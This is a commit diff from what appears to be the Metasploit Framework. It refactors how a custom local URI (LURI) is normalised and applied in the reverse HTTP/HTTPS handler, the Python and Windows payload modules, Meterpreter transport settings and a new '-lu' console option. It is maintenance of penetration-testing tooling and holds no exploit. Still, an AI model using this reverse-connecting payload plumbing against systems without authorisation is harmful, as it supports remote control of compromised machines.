Fix LURI support for stageless, transport add/change and code tidies
parent
63e478c826
commit
b95267997d
|
@ -78,7 +78,7 @@ module ReverseHttp
|
|||
# @return [String] A URI of the form +scheme://host:port/+
|
||||
def listener_uri(addr=datastore['LHOST'])
|
||||
uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
|
||||
"#{scheme}://#{uri_host}:#{bind_port}" + datastore['LURI'] || "/"
|
||||
"#{scheme}://#{uri_host}:#{bind_port}#{luri}/"
|
||||
end
|
||||
|
||||
# Return a URI suitable for placing in a payload.
|
||||
|
@ -105,7 +105,7 @@ module ReverseHttp
|
|||
callback_host = "#{callback_name}:#{callback_port}"
|
||||
end
|
||||
|
||||
"#{scheme}://#{callback_host}" + datastore['LURI']
|
||||
"#{scheme}://#{callback_host}#{luri}/"
|
||||
end
|
||||
|
||||
# Use the {#refname} to determine whether this handler uses SSL or not
|
||||
|
@ -122,6 +122,27 @@ module ReverseHttp
|
|||
(ssl?) ? 'https' : 'http'
|
||||
end
|
||||
|
||||
#
|
||||
# The local URI for the handler.
|
||||
#
|
||||
# @return [String] Representation of the URI to listen on.
|
||||
#
|
||||
def luri
|
||||
l = datastore['LURI'] || ""
|
||||
|
||||
if l && l.length > 0 && l[0] != '/'
|
||||
# make sure the luri has the prefix
|
||||
l = "/#{l}"
|
||||
|
||||
# but not the suffix
|
||||
if l[-1] == '/'
|
||||
l = l[0...-1]
|
||||
end
|
||||
end
|
||||
|
||||
l
|
||||
end
|
||||
|
||||
# Create an HTTP listener
|
||||
#
|
||||
def setup_handler
|
||||
|
@ -160,7 +181,7 @@ module ReverseHttp
|
|||
obj = self
|
||||
|
||||
# Add the new resource
|
||||
service.add_resource((datastore['LURI'] || "") + "/",
|
||||
service.add_resource(luri + "/",
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
on_request(cli, req, obj)
|
||||
},
|
||||
|
@ -180,7 +201,7 @@ module ReverseHttp
|
|||
#
|
||||
def stop_handler
|
||||
if self.service
|
||||
self.service.remove_resource((datastore['LURI'] || "") + "/")
|
||||
self.service.remove_resource(luri + "/")
|
||||
if self.service.resources.empty? && self.sessions == 0
|
||||
Rex::ServiceManager.stop_service(self.service)
|
||||
end
|
||||
|
@ -267,13 +288,15 @@ protected
|
|||
|
||||
self.pending_connections += 1
|
||||
|
||||
unless luri.empty?
|
||||
sep = conn_id && conn_id[0] == '/' ? '' : '/'
|
||||
conn_id = "#{luri}#{sep}#{conn_id}"
|
||||
end
|
||||
|
||||
# Process the requested resource.
|
||||
case info[:mode]
|
||||
when :init_connect
|
||||
print_status("Redirecting stageless connection from #{request_summary}")
|
||||
if datastore['LURI'] != "/"
|
||||
conn_id = (datastore['LURI']) + conn_id
|
||||
end
|
||||
|
||||
# Handle the case where stageless payloads call in on the same URI when they
|
||||
# first connect. From there, we tell them to callback on a connect URI that
|
||||
|
@ -288,7 +311,6 @@ protected
|
|||
when :init_python
|
||||
print_status("Staging Python payload...")
|
||||
url = payload_uri(req) + conn_id + '/'
|
||||
conn_id = (datastore['LURI']) + conn_id
|
||||
|
||||
blob = ""
|
||||
blob << obj.generate_stage(
|
||||
|
@ -318,7 +340,6 @@ protected
|
|||
when :init_java
|
||||
print_status("Staging Java payload...")
|
||||
url = payload_uri(req) + conn_id + "/\x00"
|
||||
conn_id = (datastore['LURI']) + conn_id
|
||||
|
||||
blob = obj.generate_stage(
|
||||
uuid: uuid,
|
||||
|
@ -344,7 +365,6 @@ protected
|
|||
print_status("Staging Native payload...")
|
||||
url = payload_uri(req) + conn_id + "/\x00"
|
||||
uri = URI(payload_uri(req) + conn_id)
|
||||
conn_id = (datastore['LURI']) + conn_id
|
||||
|
||||
resp['Content-Type'] = 'application/octet-stream'
|
||||
|
||||
|
@ -381,8 +401,9 @@ protected
|
|||
print_status("Attaching orphaned/stageless session...")
|
||||
|
||||
resp.body = ''
|
||||
conn_id = req.relative_resource
|
||||
conn_id = (datastore['LURI']) + conn_id
|
||||
unless conn_id
|
||||
conn_id = "#{luri}#{req.relative_resource}"
|
||||
end
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
|
|
|
@ -48,7 +48,7 @@ module Payload::Python::ReverseHttp
|
|||
|
||||
target_url << ':'
|
||||
target_url << opts[:port].to_s
|
||||
target_url << datastore['LURI']
|
||||
target_url << luri
|
||||
target_url << generate_callback_uri(opts)
|
||||
target_url
|
||||
end
|
||||
|
@ -57,7 +57,7 @@ module Payload::Python::ReverseHttp
|
|||
# Return the longest URI that fits into our available space
|
||||
#
|
||||
def generate_callback_uri(opts={})
|
||||
uri_req_len = 30 + datastore['LURI'].length + rand(256-(30+datastore['LURI'].length))
|
||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||
|
||||
# Generate the short default URL if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
|
|
|
@ -50,7 +50,7 @@ module Msf::Payload::TransportConfig
|
|||
unless uri
|
||||
type = opts[:stageless] == true ? :init_connect : :connect
|
||||
sum = uri_checksum_lookup(type)
|
||||
uri = generate_uri_uuid(sum, opts[:uuid])
|
||||
uri = luri + generate_uri_uuid(sum, opts[:uuid])
|
||||
end
|
||||
|
||||
{
|
||||
|
|
|
@ -51,7 +51,7 @@ module Payload::Windows::ReverseHttp
|
|||
|
||||
# Add extra options if we have enough space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:url] = datastore['LURI'] + generate_uri
|
||||
conf[:url] = luri + generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:ua] = datastore['MeterpreterUserAgent']
|
||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
||||
|
@ -61,7 +61,7 @@ module Payload::Windows::ReverseHttp
|
|||
conf[:proxy_type] = datastore['PayloadProxyType']
|
||||
else
|
||||
# Otherwise default to small URIs
|
||||
conf[:url] = generate_small_uri
|
||||
conf[:url] = luri + generate_small_uri
|
||||
end
|
||||
|
||||
generate_reverse_http(conf)
|
||||
|
@ -98,7 +98,7 @@ module Payload::Windows::ReverseHttp
|
|||
|
||||
# Choose a random URI length between 30 and 255 bytes
|
||||
if uri_req_len == 0
|
||||
uri_req_len = 30 + datastore['LURI'].length + rand(256-(30+datastore['LURI'].length))
|
||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||
end
|
||||
|
||||
if uri_req_len < 5
|
||||
|
|
|
@ -55,7 +55,7 @@ module Payload::Windows::ReverseHttp_x64
|
|||
|
||||
# add extended options if we do have enough space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:url] = datastore['LURI'] + generate_uri
|
||||
conf[:url] = luri + generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:ua] = datastore['MeterpreterUserAgent']
|
||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
||||
|
@ -65,7 +65,7 @@ module Payload::Windows::ReverseHttp_x64
|
|||
conf[:proxy_type] = datastore['PayloadProxyType']
|
||||
else
|
||||
# Otherwise default to small URIs
|
||||
conf[:url] = generate_small_uri
|
||||
conf[:url] = luri + generate_small_uri
|
||||
end
|
||||
|
||||
generate_reverse_http(conf)
|
||||
|
@ -96,7 +96,7 @@ module Payload::Windows::ReverseHttp_x64
|
|||
|
||||
# Choose a random URI length between 30 and 255 bytes
|
||||
if uri_req_len == 0
|
||||
uri_req_len = 30 + datastore['LURI'].length + rand(256-(30+datastore['LURI'].length))
|
||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -644,6 +644,16 @@ class ClientCore < Extension
|
|||
scheme = opts[:transport].split('_')[1]
|
||||
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
|
||||
|
||||
if opts[:luri] && opts[:luri].length > 0
|
||||
if opts[:luri][0] != '/'
|
||||
url << '/'
|
||||
end
|
||||
url << opts[:luri]
|
||||
if url[-1] == '/'
|
||||
url = url[0...-1]
|
||||
end
|
||||
end
|
||||
|
||||
if opts[:comm_timeout]
|
||||
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
|
||||
end
|
||||
|
|
|
@ -575,6 +575,7 @@ class Console::CommandDispatcher::Core
|
|||
'-p' => [ true, 'LPORT parameter' ],
|
||||
'-i' => [ true, 'Specify transport by index (currently supported: remove)' ],
|
||||
'-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ],
|
||||
'-lu' => [ true, 'Local URI for HTTP/S transports (used when adding/changing transports with a custom LURI)' ],
|
||||
'-ua' => [ true, 'User agent for HTTP/S transports (optional)' ],
|
||||
'-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ],
|
||||
'-pp' => [ true, 'Proxy port for HTTP/S transports (optional)' ],
|
||||
|
@ -656,6 +657,8 @@ class Console::CommandDispatcher::Core
|
|||
opts[:uri] = val
|
||||
when '-i'
|
||||
transport_index = val.to_i
|
||||
when '-lu'
|
||||
opts[:luri] = val
|
||||
when '-ph'
|
||||
opts[:proxy_host] = val
|
||||
when '-pp'
|
||||
|
|
|
@ -35,7 +35,7 @@ module MetasploitModule
|
|||
def generate_reverse_http(opts={})
|
||||
opts[:uri_uuid_mode] = :init_connect
|
||||
met = stage_meterpreter({
|
||||
http_url: generate_callback_url(opts),
|
||||
http_url: luri + generate_callback_url(opts),
|
||||
http_user_agent: opts[:user_agent],
|
||||
http_proxy_host: opts[:proxy_host],
|
||||
http_proxy_port: opts[:proxy_port]
|
||||
|
|
|
@ -36,7 +36,7 @@ module MetasploitModule
|
|||
opts[:scheme] = 'https'
|
||||
opts[:uri_uuid_mode] = :init_connect
|
||||
met = stage_meterpreter({
|
||||
http_url: generate_callback_url(opts),
|
||||
http_url: luri + generate_callback_url(opts),
|
||||
http_user_agent: opts[:user_agent],
|
||||
http_proxy_host: opts[:proxy_host],
|
||||
http_proxy_port: opts[:proxy_port]
|
||||
|
|
Loading…
Reference in New Issue